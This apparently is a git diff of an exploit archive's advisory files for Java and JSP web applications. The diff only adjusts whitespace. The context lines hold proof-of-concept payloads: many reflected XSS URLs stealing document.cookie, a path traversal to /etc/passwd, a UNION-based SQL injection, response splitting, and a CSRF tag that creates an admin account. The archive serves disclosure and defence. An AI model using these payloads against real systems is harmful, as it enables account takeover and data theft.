a/platforms/java/webapps/32448.txt b/platforms/java/webapps/32448.txt index cf56295bf..3e4562e1b 100755 --- a/platforms/java/webapps/32448.txt +++ b/platforms/java/webapps/32448.txt @@ -4,4 +4,4 @@ Celoxis is prone to multiple cross-site scripting vulnerabilities because it fai An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/psa/user.do?bxn=umyhome&message=XSS+goes+here+%3cscript%3ealert('XSS')%3c/script%3e \ No newline at end of file +http://www.example.com/psa/user.do?bxn=umyhome&message=XSS+goes+here+%3cscript%3ealert('XSS')%3c/script%3e \ No newline at end of file diff --git a/platforms/java/webapps/32459.txt b/platforms/java/webapps/32459.txt index 69a556ae7..b0de0c467 100755 --- a/platforms/java/webapps/32459.txt +++ b/platforms/java/webapps/32459.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Kontiki Delivery Management System 5.0 and prior versions are vulnerable. -http://www.example.com/zodiac/servlet/zodiac?action=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/zodiac/servlet/zodiac?action=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/java/webapps/32818.txt b/platforms/java/webapps/32818.txt index 35df12419..f0e7bd38b 100755 --- a/platforms/java/webapps/32818.txt +++ b/platforms/java/webapps/32818.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow JOnAS 4.10.3 is vulnerable; other versions may also be affected. -http://www.example.com:9000/jonasAdmin/ListMBeanDetails.do?select=jonas%3Aj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule%2Cj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule \ No newline at end of file +http://www.example.com:9000/jonasAdmin/ListMBeanDetails.do?select=jonas%3Aj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule%2Cj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule \ No newline at end of file diff --git a/platforms/java/webapps/32821.html b/platforms/java/webapps/32821.html index b2d5f8c9b..2b72d63ca 100755 --- a/platforms/java/webapps/32821.html +++ b/platforms/java/webapps/32821.html @@ -4,4 +4,4 @@ APC PowerChute Network Shutdown is prone to an HTTP-response-splitting vulnerabi An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust. -1 XSS: GET /security/applet?referrer=>"'><img/src="javascript:alert('DSECRG_XSS')"> 2. Response Splitting Vulnerability found in script contexthelp. vulnerable parameter - "page" Example ******* GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0 response: HTTP/1.0 302 Moved temporarily Content-Length: 0 Date: Ч�~B, 25 �~Aен 2008 10:47:42 GMT Server: Acme.Serve/v1.7 of 13nov96 Connection: close Expires: 0 Cache-Control: no-cache Content-type: text/html Location: help/english/Foobar? DSECRG_HEADER:testvalue Content-type: text/html \ No newline at end of file +1 XSS: GET /security/applet?referrer=>"'><img/src="javascript:alert('DSECRG_XSS')"> 2. Response Splitting Vulnerability found in script contexthelp. vulnerable parameter - "page" Example ******* GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0 response: HTTP/1.0 302 Moved temporarily Content-Length: 0 Date: Ч�~B, 25 �~Aен 2008 10:47:42 GMT Server: Acme.Serve/v1.7 of 13nov96 Connection: close Expires: 0 Cache-Control: no-cache Content-type: text/html Location: help/english/Foobar? DSECRG_HEADER:testvalue Content-type: text/html \ No newline at end of file diff --git a/platforms/java/webapps/32862.txt b/platforms/java/webapps/32862.txt index 7a7702d06..42c3ecbb0 100755 --- a/platforms/java/webapps/32862.txt +++ b/platforms/java/webapps/32862.txt @@ -4,4 +4,4 @@ Sun Java System Calendar Server is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -https://www.example.com:3443//command.shtml?view=overview&id=HK8CjQOkmbY&date=20081217T200734%27;alert('xss');//Z&caliad=someid@test.com&security=1 \ No newline at end of file +https://www.example.com:3443//command.shtml?view=overview&id=HK8CjQOkmbY&date=20081217T200734%27;alert('xss');//Z&caliad=someid@test.com&security=1 \ No newline at end of file diff --git a/platforms/java/webapps/32909.txt b/platforms/java/webapps/32909.txt index 7d0cd220d..df7fe078a 100755 --- a/platforms/java/webapps/32909.txt +++ b/platforms/java/webapps/32909.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issues to execute arbitrary s Novell Teaming 1.0.3 is vulnerable; other versions may also be affected. -https://www.example.com/web/guest/home?p_p_id=82&p_p_action=1&p_p_state=%3Cscript%3Ealert('xss+vulnerability')%3C/script%3E&p_p_mode=view&p_p_col_id=column-2&p_p_col_pos=1&p_p_col_count=2&_82_struts_action=%2Flanguage%2Fview&_82_languageId=de_DE \ No newline at end of file +https://www.example.com/web/guest/home?p_p_id=82&p_p_action=1&p_p_state=%3Cscript%3Ealert('xss+vulnerability')%3C/script%3E&p_p_mode=view&p_p_col_id=column-2&p_p_col_pos=1&p_p_col_count=2&_82_struts_action=%2Flanguage%2Fview&_82_languageId=de_DE \ No newline at end of file diff --git a/platforms/java/webapps/32940.txt b/platforms/java/webapps/32940.txt index ef214fbd0..8746786cb 100755 --- a/platforms/java/webapps/32940.txt +++ b/platforms/java/webapps/32940.txt @@ -20,4 +20,4 @@ Cache-control: private Location: <server> X-Tag: Core Security Technologies Content-length: 0 -Content-type: text/htm \ No newline at end of file +Content-type: text/htm \ No newline at end of file diff --git a/platforms/java/webapps/33254.txt b/platforms/java/webapps/33254.txt index 8f10f43fd..13694a74d 100755 --- a/platforms/java/webapps/33254.txt +++ b/platforms/java/webapps/33254.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow IBM Lotus Connections 2.0.1 is affected; other versions may be vulnerable as well. -https://www.example.com/profiles/html/simpleSearch.do?name=<IMG%20SRC="vbscript:msgbox(document.cookie)'>&lang=en \ No newline at end of file +https://www.example.com/profiles/html/simpleSearch.do?name=<IMG%20SRC="vbscript:msgbox(document.cookie)'>&lang=en \ No newline at end of file diff --git a/platforms/java/webapps/33939.txt b/platforms/java/webapps/33939.txt index 7876c1c65..601e1bbd0 100755 --- a/platforms/java/webapps/33939.txt +++ b/platforms/java/webapps/33939.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ShopEx Single 4.5.1 is vulnerable; other versions may also be affected. -http://www.example.com/?gOo=ZXJyb3IuZHd0&errinfo=PHNjcmlwdD5hbGVydCgiWFNTRUQiKTwvc2NyaXB0Pg== \ No newline at end of file +http://www.example.com/?gOo=ZXJyb3IuZHd0&errinfo=PHNjcmlwdD5hbGVydCgiWFNTRUQiKTwvc2NyaXB0Pg== \ No newline at end of file diff --git a/platforms/java/webapps/34290.txt b/platforms/java/webapps/34290.txt index 17ffed6b9..c9ed3c175 100755 --- a/platforms/java/webapps/34290.txt +++ b/platforms/java/webapps/34290.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Mac's CMS 1.1.4 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/footer/search?searchString='><script>alert('xss')</script> \ No newline at end of file +http://www.example.com/index.php/footer/search?searchString='><script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/java/webapps/34293.txt b/platforms/java/webapps/34293.txt index 3f58f68d4..45a3d12c3 100755 --- a/platforms/java/webapps/34293.txt +++ b/platforms/java/webapps/34293.txt @@ -8,4 +8,4 @@ dotDefender 4.02 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/oportunidades/presencial/buscador/sinresultado/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ \ No newline at end of file +http://www.example.com/oportunidades/presencial/buscador/sinresultado/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{ \ No newline at end of file diff --git a/platforms/java/webapps/35683.txt b/platforms/java/webapps/35683.txt index 4063e3e6b..89ea18161 100755 --- a/platforms/java/webapps/35683.txt +++ b/platforms/java/webapps/35683.txt @@ -4,4 +4,4 @@ LANSA aXes Web Terminal TN5250 is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. - https://www.example.com/axests/terminal?cssref=/ts/skins/axes_default.css?axbuild=135001&login=[xss] \ No newline at end of file + https://www.example.com/axests/terminal?cssref=/ts/skins/axes_default.css?axbuild=135001&login=[xss] \ No newline at end of file diff --git a/platforms/java/webapps/36292.txt b/platforms/java/webapps/36292.txt index a6a6f41a8..7d9ab53a4 100755 --- a/platforms/java/webapps/36292.txt +++ b/platforms/java/webapps/36292.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain arbitrary local files in th NoSQL 11g 1.1.100 R2 is vulnerable; other versions may also be affected. -http://www.example.com/kvadminui/LogDownloadService?log=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/kvadminui/LogDownloadService?log=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/java/webapps/36299.txt b/platforms/java/webapps/36299.txt index c39513c08..135448279 100755 --- a/platforms/java/webapps/36299.txt +++ b/platforms/java/webapps/36299.txt @@ -14,4 +14,4 @@ Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) -formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false \ No newline at end of file +formStack=netmri/config/userAdmin/login&eulaAccepted=<script>alert(document.cookie)</script>&mode=<script>alert(document.cookie)</script>&skipjackPassword=ForegroundSecurity&skipjackUsername=ForegroundSecurity&weakPassword=false \ No newline at end of file diff --git a/platforms/java/webapps/36548.txt b/platforms/java/webapps/36548.txt index abdccbd6c..6bfd33863 100755 --- a/platforms/java/webapps/36548.txt +++ b/platforms/java/webapps/36548.txt @@ -4,4 +4,4 @@ Contus Job Portal is prone to an SQL-injection vulnerability because it fails to A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/demo/jobresult?searchname=quickjobsearch&Keywords=&Location=&Category=16â??A \ No newline at end of file +http://www.example.com/demo/jobresult?searchname=quickjobsearch&Keywords=&Location=&Category=16â??A \ No newline at end of file diff --git a/platforms/java/webapps/36667.txt b/platforms/java/webapps/36667.txt index 6c89a9e4f..f5fc14f8b 100755 --- a/platforms/java/webapps/36667.txt +++ b/platforms/java/webapps/36667.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br ManageEngine ADManager Plus 5.2 Build 5210 is vulnerable; prior versions may also be affected. -#1 - GET http://www.example.com/jsp/AddDC.jsp?domainName="><script>alert(&#039;zsl&#039;)</script> HTTP/1.1 \ No newline at end of file +#1 - GET http://www.example.com/jsp/AddDC.jsp?domainName="><script>alert(&#039;zsl&#039;)</script> HTTP/1.1 \ No newline at end of file diff --git a/platforms/java/webapps/36828.txt b/platforms/java/webapps/36828.txt index 210a0e0da..60a1540a3 100755 --- a/platforms/java/webapps/36828.txt +++ b/platforms/java/webapps/36828.txt @@ -4,4 +4,4 @@ JaWiki is prone to a cross-site scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/jawiki/user/main/homepage?action=showVersion&versionNo=%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/jawiki/user/main/homepage?action=showVersion&versionNo=%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/java/webapps/36939.txt b/platforms/java/webapps/36939.txt index e433296ea..8d5f2b79f 100755 --- a/platforms/java/webapps/36939.txt +++ b/platforms/java/webapps/36939.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow EJBCA 4.0.7 is vulnerable; other versions may also be affected. -http://www.example.com/ejbca/publicweb/webdist/certdist?cmd=revoked&issuer=%3Cscript%3Ealert(document.cookie)%3C/script%3E&serno=1 \ No newline at end of file +http://www.example.com/ejbca/publicweb/webdist/certdist?cmd=revoked&issuer=%3Cscript%3Ealert(document.cookie)%3C/script%3E&serno=1 \ No newline at end of file diff --git a/platforms/java/webapps/36971.txt b/platforms/java/webapps/36971.txt index bdcbd1112..e20e4224c 100755 --- a/platforms/java/webapps/36971.txt +++ b/platforms/java/webapps/36971.txt @@ -4,4 +4,4 @@ JavaBB is prone to a cross-site scripting vulnerability because it fails to sani An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/java/webapps/37006.txt b/platforms/java/webapps/37006.txt index 6a7c4010b..0778f0287 100755 --- a/platforms/java/webapps/37006.txt +++ b/platforms/java/webapps/37006.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Minify 2.1.3 and 2.1.4-beta are vulnerable; other versions may also be affected. -http://www.exmaple.com/min/builder/#g=[XSS] \ No newline at end of file +http://www.exmaple.com/min/builder/#g=[XSS] \ No newline at end of file diff --git a/platforms/java/webapps/37029.txt b/platforms/java/webapps/37029.txt index c4cb82fa9..2081359b2 100755 --- a/platforms/java/webapps/37029.txt +++ b/platforms/java/webapps/37029.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. -http://www.example.com/fw/index2.do?url=adminHome&tab=system%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3El \ No newline at end of file +http://www.example.com/fw/index2.do?url=adminHome&tab=system%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3El \ No newline at end of file diff --git a/platforms/java/webapps/37030.txt b/platforms/java/webapps/37030.txt index 541cb4f1f..58bbbaa88 100755 --- a/platforms/java/webapps/37030.txt +++ b/platforms/java/webapps/37030.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. http://www.example.com.com/fw/createAnomaly.do?subTab=%22%3E%3Cscript%3Ealert%281337%29%3C/script%3EaddAlert&; -tab=alert%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E&demoConfigure=true \ No newline at end of file +tab=alert%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E&demoConfigure=true \ No newline at end of file diff --git a/platforms/java/webapps/37031.txt b/platforms/java/webapps/37031.txt index bdb255ef1..05b63d45b 100755 --- a/platforms/java/webapps/37031.txt +++ b/platforms/java/webapps/37031.txt @@ -8,4 +8,4 @@ Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. http://www.example.com/fw/mindex.do?url=%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3EliveReportDash%22%3E %3Cscript%3Ealert%28%27vlab%27%29%3C/script%3E&subTab=%22%3E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3Elive&tab=%22%3 -E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3Ereport \ No newline at end of file +E%3Cscript%3Ealert%28%27vlab%27%29%3C/script%3Ereport \ No newline at end of file diff --git a/platforms/java/webapps/37032.txt b/platforms/java/webapps/37032.txt index 46157108e..fe21b3944 100755 --- a/platforms/java/webapps/37032.txt +++ b/platforms/java/webapps/37032.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Firewall Analyzer 7.2 is affected; other versions may also be vulnerable. -http://www.example.com/fw/syslogViewer.do?port=%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E \ No newline at end of file +http://www.example.com/fw/syslogViewer.do?port=%22%3E%3Cscript%3Ealert%28vlab%29%3C/script%3E \ No newline at end of file diff --git a/platforms/java/webapps/37033.txt b/platforms/java/webapps/37033.txt index 79940757e..5db1fdf72 100755 --- a/platforms/java/webapps/37033.txt +++ b/platforms/java/webapps/37033.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow DirectAdmin 1.403 is vulnerable; other versions may also be affected. -http://www.example.com/CMD_DOMAIN?action=create&domain=<div style="border:1px solid red;width:300px;height:300px" onmouseover="alert(dawid)"></div>aaa.pl&ubandwidth=unlimited&uquota=unlimited&cgi=ON&php=ON \ No newline at end of file +http://www.example.com/CMD_DOMAIN?action=create&domain=<div style="border:1px solid red;width:300px;height:300px" onmouseover="alert(dawid)"></div>aaa.pl&ubandwidth=unlimited&uquota=unlimited&cgi=ON&php=ON \ No newline at end of file diff --git a/platforms/java/webapps/37416.txt b/platforms/java/webapps/37416.txt index 850886d11..ba2c42d4c 100755 --- a/platforms/java/webapps/37416.txt +++ b/platforms/java/webapps/37416.txt @@ -6,4 +6,4 @@ Attackers may exploit these issues to execute arbitrary code in the context of t Squiz CMS 4.6.3 is vulnerable; other versions may also be affected. -http://www.example.com/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=edit_asset"><script>alert(document.cookie)</script>&assetid=73&sq_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=details [XSS] \ No newline at end of file +http://www.example.com/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=edit_asset"><script>alert(document.cookie)</script>&assetid=73&sq_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=details [XSS] \ No newline at end of file diff --git a/platforms/java/webapps/37555.txt b/platforms/java/webapps/37555.txt index a6917613d..3548f7d64 100755 --- a/platforms/java/webapps/37555.txt +++ b/platforms/java/webapps/37555.txt @@ -8,4 +8,4 @@ ManageEngine Applications Manager 10.0 is vulnerable; other versions may also be http://www.example.com/mobile/DetailsView.do?method=showMGDetails&groupId=10003645+UnION+SelEct+group_concat(table_NAME),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+WHERE+table_schema=database()--%20- -http://www.example.com/mobile/Search.do?method=mobileSearch&requestid=[SQL INJECTION]mobileSearchPage&viewName=Search \ No newline at end of file +http://www.example.com/mobile/Search.do?method=mobileSearch&requestid=[SQL INJECTION]mobileSearchPage&viewName=Search \ No newline at end of file diff --git a/platforms/java/webapps/37589.txt b/platforms/java/webapps/37589.txt index 07880aa40..f5b9e67ce 100755 --- a/platforms/java/webapps/37589.txt +++ b/platforms/java/webapps/37589.txt @@ -9,4 +9,4 @@ ConcourseSuite version 6.1 (20120209) is vulnerable; other versions may also be http://www.example.com/crm/Sales.do?nameFirst&nameLast http://www.example.com/crm/ExternalContacts.do?nameFirst&nameLast&company http://www.example.com/crm/Accounts.do?name -http://www.example.com/crm/MyCFSProfile.do?address1state \ No newline at end of file +http://www.example.com/crm/MyCFSProfile.do?address1state \ No newline at end of file diff --git a/platforms/java/webapps/38130.txt b/platforms/java/webapps/38130.txt index 2754845fa..56b7fb155 100755 --- a/platforms/java/webapps/38130.txt +++ b/platforms/java/webapps/38130.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain administrat N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected. -<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img> \ No newline at end of file +<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img> \ No newline at end of file diff --git a/platforms/java/webapps/38358.txt b/platforms/java/webapps/38358.txt index 98ab9f496..980f11025 100755 --- a/platforms/java/webapps/38358.txt +++ b/platforms/java/webapps/38358.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow HP Intelligent Management Center 5.1 E0202 is vulnerable; other versions may also be affected. -http://www.example.com/imc/topo/topoContent.jsf?opentopo_symbolid="><img src="http://security.inshell.net/img/logo.png" onload=alert('XSS');>&opentopo_loader=null&opentopo_level1nodeid=3 &topoorientation_parentsymbolid=null&topoorientation_devsymbolid=null&topoorientation_level1nodeid=null &topoorientation_loader=null&checknode=null&ywkeys=isvlan&ywvalues=1&uselefttree=null&usetabpane=null&HandleMode=null&toponamelist=null \ No newline at end of file +http://www.example.com/imc/topo/topoContent.jsf?opentopo_symbolid="><img src="http://security.inshell.net/img/logo.png" onload=alert('XSS');>&opentopo_loader=null&opentopo_level1nodeid=3 &topoorientation_parentsymbolid=null&topoorientation_devsymbolid=null&topoorientation_level1nodeid=null &topoorientation_loader=null&checknode=null&ywkeys=isvlan&ywvalues=1&uselefttree=null&usetabpane=null&HandleMode=null&toponamelist=null \ No newline at end of file diff --git a/platforms/java/webapps/38461.txt b/platforms/java/webapps/38461.txt index 4f4bb6977..e69212dbc 100755 --- a/platforms/java/webapps/38461.txt +++ b/platforms/java/webapps/38461.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Hero 3.791 is vulnerable; other versions may also be affected. -http://www.example.com/users/login?username=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/users/login?username=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/java/webapps/38462.txt b/platforms/java/webapps/38462.txt index 41ba06e49..375a74aa6 100755 --- a/platforms/java/webapps/38462.txt +++ b/platforms/java/webapps/38462.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Hero 3.791 is vulnerable; other versions may also be affected. -http://www.example.com/users/forgot_password?error=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg== \ No newline at end of file +http://www.example.com/users/forgot_password?error=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg== \ No newline at end of file diff --git a/platforms/java/webapps/38739.txt b/platforms/java/webapps/38739.txt index 8af3ada53..e9b9d6dc8 100755 --- a/platforms/java/webapps/38739.txt +++ b/platforms/java/webapps/38739.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to obtain sensitive information that may aid SearchBlox 7.4 Build 1 is vulnerable; other versions may also be affected. -http://www.example.com/searchblox/servlet/CollectionListServlet?action=getList&orderBy=colName&direction=asc \ No newline at end of file +http://www.example.com/searchblox/servlet/CollectionListServlet?action=getList&orderBy=colName&direction=asc \ No newline at end of file diff --git a/platforms/java/webapps/39334.txt b/platforms/java/webapps/39334.txt index 73f06c6a7..72b55127d 100755 --- a/platforms/java/webapps/39334.txt +++ b/platforms/java/webapps/39334.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to influence how web content is served, cach Yealink VoIP Phones firmware 28.72.0.2 and hardware 28.2.0.128.0.0.0 are vulnerable; other versions may also be affected. -GET /servlet?linepage=1&model=%0d%0a[Header]&p=dsskey&q=load \ No newline at end of file +GET /servlet?linepage=1&model=%0d%0a[Header]&p=dsskey&q=load \ No newline at end of file diff --git a/platforms/jsp/remote/20429.txt b/platforms/jsp/remote/20429.txt index b4b57386f..ec3f9b4d0 100755 --- a/platforms/jsp/remote/20429.txt +++ b/platforms/jsp/remote/20429.txt @@ -21,4 +21,4 @@ Example: http://target/filename.jsp../ IIS 5 requesting the URL encoded with ASCII: '%2' instead of '.' -Example: http://target/filename%2ejsp \ No newline at end of file +Example: http://target/filename%2ejsp \ No newline at end of file diff --git a/platforms/jsp/remote/20592.txt b/platforms/jsp/remote/20592.txt index c93c828ae..5fa0a89de 100755 --- a/platforms/jsp/remote/20592.txt +++ b/platforms/jsp/remote/20592.txt @@ -14,4 +14,4 @@ will copy the contents of the C:\winnt\win.ini file to a file in http://host/_pa http://host/bb.sqljsp//..//..//..//..//..//../winnt/win.ini -will also copy the contents of the c:\winnt\win.ini file to a file in the http://host/_pages directory, and change the extension to .java, with "win" in the name of the file. \ No newline at end of file +will also copy the contents of the c:\winnt\win.ini file to a file in the http://host/_pages directory, and change the extension to .java, with "win" in the name of the file. \ No newline at end of file diff --git a/platforms/jsp/remote/21355.txt b/platforms/jsp/remote/21355.txt index 46e9ece9b..5abd5d91f 100755 --- a/platforms/jsp/remote/21355.txt +++ b/platforms/jsp/remote/21355.txt @@ -6,4 +6,4 @@ A cross-site scripting vulnerability exists in Citrix NFuse. The launch.asp and This may enable an attacker to steal cookie-based authentication credentials from legitimate users of the vulnerable software. -http://my_nfuse_portal.com/launch.jsp?NFuse_Application=<script>alert(document.cookie);</script> \ No newline at end of file +http://my_nfuse_portal.com/launch.jsp?NFuse_Application=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/14369.txt b/platforms/jsp/webapps/14369.txt index 0b0611e4c..fdba26085 100755 --- a/platforms/jsp/webapps/14369.txt +++ b/platforms/jsp/webapps/14369.txt @@ -1,4 +1,4 @@ -|------------------------------------------------------------------| + |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | diff --git a/platforms/jsp/webapps/21621.txt b/platforms/jsp/webapps/21621.txt index e6b2c8a7d..1d2eb5b65 100755 --- a/platforms/jsp/webapps/21621.txt +++ b/platforms/jsp/webapps/21621.txt @@ -4,4 +4,4 @@ Macromedia Sitespring is a J2EE-compliant product for managing website productio A cross-site scripting issue has been reported in the default error page used by Sitespring. When an HTTP 500 error is returned, some user-supplied data is included in the generated HTML. Since this data isn't properly sanitized, an attacker may be able to include arbitrary HTML, including JavaScript. -http://server/error/500error.jsp?et=1<script>alert('KPMG')</script> \ No newline at end of file +http://server/error/500error.jsp?et=1<script>alert('KPMG')</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/22805.txt b/platforms/jsp/webapps/22805.txt index 132359c48..f41290fa8 100755 --- a/platforms/jsp/webapps/22805.txt +++ b/platforms/jsp/webapps/22805.txt @@ -6,4 +6,4 @@ An attacker may exploit this vulnerability by enticing a victim user to follow a It should be noted that although this vulnerability has been reported to affect Tmax Soft JEUS version 3.1.4p1, all version prior to release 3.2.2 are also reported vulnerable. -http://www.example.com/url.jsp?foo=<script>alert('XSS vulnerability exists!')</script> \ No newline at end of file +http://www.example.com/url.jsp?foo=<script>alert('XSS vulnerability exists!')</script> \ No newline at end of file diff --git a/platforms/jsp/webapps/23262.txt b/platforms/jsp/webapps/23262.txt index f00cfbc2d..005b6736d 100755 --- a/platforms/jsp/webapps/23262.txt +++ b/platforms/jsp/webapps/23262.txt @@ -10,4 +10,4 @@ Caucho Resin version 2.1 and prior have been reported to be prone to this issue, http://www.example.com:8080/examples/tictactoe/tictactoe.jsp?move=<iframe%20src="http://attcker/evil.cgi"></iframe>4 or -<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SCR \ No newline at end of file +<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SCR \ No newline at end of file diff --git a/platforms/jsp/webapps/23402.txt b/platforms/jsp/webapps/23402.txt index 4d3af6739..ee7a20a2c 100755 --- a/platforms/jsp/webapps/23402.txt +++ b/platforms/jsp/webapps/23402.txt @@ -6,4 +6,4 @@ Successful exploitation of this issue could potentially allow an attacker to ste http://www.example.com:8000/server/<your server>/webserver/webserverlist.jsp?action=start&externalWebServer=DefaultDomain%3aservice%3d<script code> -http://www.example.com:8000/clusterframe.jsp?cluster=<script code> \ No newline at end of file +http://www.example.com:8000/clusterframe.jsp?cluster=<script code> \ No newline at end of file diff --git a/platforms/jsp/webapps/24139.txt b/platforms/jsp/webapps/24139.txt index 9dbd6c894..3d6e220ba 100755 